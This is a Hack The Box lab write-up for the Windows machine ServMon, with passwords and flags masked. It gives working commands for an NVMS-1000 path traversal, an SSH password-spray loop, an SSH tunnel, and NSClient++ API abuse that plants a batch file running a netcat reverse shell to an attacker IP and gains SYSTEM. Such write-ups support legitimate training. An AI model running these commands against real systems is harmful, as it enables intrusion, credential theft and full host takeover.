ServMon (HTB)
Platform: Hack The Box
OS: Windows
Difficulty: Easy
Result: SYSTEM
Attack Chain
Reconnaissance
|-- nmap: 21 (FTP anon), 22 (SSH), 80 (NVMS-1000), 8443 (NSClient++), 445/135 (SMB/RPC)
|-- Anonymous FTP: Notes to do.txt + Confidential.txt
Foothold
|-- NVMS-1000 CVE-2019-20085 path traversal: Passwords.txt
|-- SSH password spray: Nadine
|-- User flag
Lateral Movement
|-- netstat: 8443 on 0.0.0.0, allowed hosts = 127.0.0.1
|-- SSH tunnel: -L 8443:127.0.0.1:8443
|-- nsclient.ini readable: admin password in plaintext
Privilege Escalation
|-- NSClient++ 0.5.2.35 CVE-2025-34078
|-- API: register external script, execute as SYSTEM
|-- Root flag
NOTE
All flags, passwords, hashes, and session tokens have been masked for ethical reasons.
Machine Briefing
ServMon is an Easy Windows machine that exposes an anonymous FTP server, an NVMS-1000 web application on port 80, and an NSClient++ web interface on port 8443. The intended path is: anonymous FTP leaks two notes that point to a Passwords.txt file on Nathan's Desktop; the NVMS-1000 path traversal (CVE-2019-20085) reads that file; one of the seven candidate passwords authenticates as Nadine over SSH. From Nadine's shell, the NSClient++ configuration file is readable and contains the admin password in plaintext; the web interface is bound to 0.0.0.0 but restricted to 127.0.0.1 via allowed hosts, so an SSH tunnel is required. Once authenticated, the NSClient++ API allows registering an external script, which executes as SYSTEM (CVE-2025-34078).
Reconnaissance
Full TCP scan reveals the exposed services:
$ nmap -p- --min-rate=5000 -T4 -Pn -n 10.129.80.146
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5666/tcp open tcpwrapped
6063/tcp open tcpwrapped
6699/tcp open tcpwrapped
8443/tcp open ssl/https-alt
49664-49670/tcp open msrpc
Service and version detection:
$ nmap -sC -sV -Pn -n -p 21,22,80,135,139,445,5666,6063,6699,8443 10.129.80.146
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH for_Windows_8.0 (protocol 2.0)
80/tcp open http
8443/tcp open ssl/https-alt
| ssl-cert: Subject: commonName=localhost
Three facts are immediately actionable: anonymous FTP is allowed, the web application on port 80 redirects to Pages/login.htm, and port 8443 serves a self-signed certificate with CN=localhost.
Foothold
Anonymous FTP
$ ftp -a 10.129.80.146
230 User logged in.
ftp> ls
02-28-22 07:35PM <DIR> Users
ftp> cd Users/Nathan/Desktop
ftp> get "Notes to do.txt"
ftp> cd ../../Nadine
ftp> get Confidential.txt
The two files point to a Passwords.txt on Nathan's Desktop:
Notes to do.txt:
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint
Confidential.txt:
I left your Passwords.txt file on your Desktop.
The Desktop listing under anonymous FTP shows only Notes to do.txt, so Passwords.txt is not readable via FTP and must be reached another way.
NVMS-1000 path traversal (CVE-2019-20085)
The web application on port 80 identifies itself as NVMS-1000 (build hash v=20150323.1). NVD confirms the product and version are affected by a directory traversal:
Vulnerability: CVE-2019-20085 (NVD: https://nvd.nist.gov/vuln/detail/CVE-2019-20085) Component: TVT NVMS-1000
The traversal reads arbitrary files with curl --path-as-is (without that flag curl normalizes ../ and the request never leaves the web root):
$ curl -s --path-as-is "http://servmon.htb/../../../../../../../../../../../../windows/win.ini"
; for 16-bit app support
[fonts]
[extensions]
The same primitive reads the target file:
$ curl -s --path-as-is "http://servmon.htb/../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt"
<PASSWORD>
<PASSWORD>
<PASSWORD>
<PASSWORD>
<PASSWORD>
<PASSWORD>
<PASSWORD>
SSH password spray
The file contains seven candidate passwords without usernames. Two usernames are known from the FTP tree (Nadine, Nathan). Fourteen combinations are tested against OpenSSH:
$ for u in Nadine Nathan; do for p in '<PASSWORD>' '<PASSWORD>' '<PASSWORD>' '<PASSWORD>' '<PASSWORD>' '<PASSWORD>' '<PASSWORD>'; do timeout 5 sshpass -p "$p" ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no "$u@servmon.htb" "echo OK:$u:$p" 2>/dev/null; done; done
OK:Nadine:<PASSWORD>
NOTE
This command is redacted: each <PASSWORD> in the list is a different candidate password. Replace the placeholders locally with your own candidate list before running.
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
$ sshpass -p '<PASSWORD>' ssh Nadine@servmon.htb
servmon\nadine
The user flag is on Nadine's Desktop:
$ type C:\Users\Nadine\Desktop\user.txt
<USER_FLAG>
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
Lateral Movement
Local services
netstat from Nadine's shell shows NSClient++ listening on 0.0.0.0:8443 and 0.0.0.0:5666. Externally the web interface returns 403 Your not allowed, because [/settings/default] in nsclient.ini restricts access to 127.0.0.1:
TCP 0.0.0.0:8443 0.0.0.0:0 LISTENING 2376
[/settings/default]
password = <PASSWORD>
allowed hosts = 127.0.0.1
The web interface is reachable only from loopback, so an SSH local port forward is required:
$ sshpass -p '<PASSWORD>' ssh -L 8443:127.0.0.1:8443 -N Nadine@servmon.htb &
NSClient++ configuration
nsclient.ini is readable by BUILTIN\Users, and it contains the admin password in plaintext:
$ type "C:\Program Files\NSClient++\nsclient.ini"
[/settings/default]
password = <PASSWORD>
[/modules]
WEBServer = enabled
NRPEServer = enabled
CheckExternalScripts = enabled
[/settings/external scripts]
allow arguments = true
Two configuration facts drive the privilege escalation: WEBServer = enabled and CheckExternalScripts = enabled with allow arguments = true.
Privilege Escalation
NSClient++ CVE-2025-34078
The version reported by the web interface confirms the affected build:
$ curl -sk -u 'admin:<PASSWORD>' https://127.0.0.1:8443/api/v1/info
{"name":"NSClient++","version":"0.5.2.35 2018-01-28","version_url":"https://127.0.0.1:8443/api/v1/info/version"}
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
NVD describes this exact combination (plaintext admin password in nsclient.ini, web UI enabled, ExternalScripts enabled) as an authenticated RCE running as SYSTEM:
Vulnerability: CVE-2025-34078 (NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-34078) Component: NSClient++ 0.5.2.35
External script registration
A Windows reverse shell binary is uploaded to Nadine's profile and a batch wrapper is registered through the API:
$ scp /usr/share/windows-resources/binaries/nc.exe Nadine@servmon.htb:C:/Users/Nadine/nc.exe
$ printf '@echo off\r\nC:\\Users\\Nadine\\nc.exe -e cmd.exe 10.10.14.184 4444\r\n' > evil.bat
$ curl -sk -u 'admin:<PASSWORD>' -X PUT \
'https://127.0.0.1:8443/api/v1/scripts/ext/scripts/evil.bat' \
--data-binary @evil.bat
Added evil as scripts\evil.bat
The registered command is exposed as a query and executed through its execute_url:
$ curl -sk -u 'admin:<PASSWORD>' 'https://127.0.0.1:8443/api/v1/queries/evil'
{"description":"Alias for: scripts\\evil.bat", ... "execute_url":"https://127.0.0.1:8443/api/v1/queries/evil/commands/execute", ...}
$ curl -sk -u 'admin:<PASSWORD>' 'https://127.0.0.1:8443/api/v1/queries/evil/commands/execute'
The reverse shell arrives as SYSTEM:
connect to [10.10.14.184] from (UNKNOWN) [10.129.80.146] 49694
Microsoft Windows [Version 10.0.17763.864]
C:\Program Files\NSClient++>whoami
nt authority\system
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
The root flag is readable:
$ type C:\Users\Administrator\Desktop\root.txt
<ROOT_FLAG>
Cleanup
The batch wrapper is removed through the API and the uploaded binary is deleted from Nadine's profile:
$ curl -sk -u 'admin:<PASSWORD>' -X DELETE 'https://127.0.0.1:8443/api/v1/scripts/ext/scripts/evil.bat'
Script file was removed
$ sshpass -p '<PASSWORD>' ssh Nadine@servmon.htb "del C:\Users\Nadine\nc.exe"
Flags
| Flag | Value |
|---|---|
| User | <USER_FLAG> |
| Root | <ROOT_FLAG> |
Key Takeaways
- Anonymous FTP leaked the existence and location of a credential file; the file itself was reachable through a different service. Enumerating every exposed service against the same target pays off.
- The NVMS-1000 traversal requires
--path-as-is; without it curl normalizes the../sequences and the request never reaches the vulnerable handler. Always verify that the traversal actually fired (readwin.inifirst) before targeting a sensitive path. - The seven passwords were a list, not a mapping. Spraying a small, known candidate set against known usernames is faster and quieter than a full brute force.
allowed hosts = 127.0.0.1is an application-layer control, not a network one. The service still binds0.0.0.0; an SSH local port forward makes the request appear to come from loopback and bypasses the restriction.- NSClient++ stores the admin password in plaintext in a file readable by
BUILTIN\Users. Combined withCheckExternalScripts = enabledandallow arguments = true, this is a direct path to SYSTEM (CVE-2025-34078). - Clean up after exploitation: remove the registered script through the API and delete the uploaded binary. The batch wrapper lived under
Program Filesand was readable by every user on the host.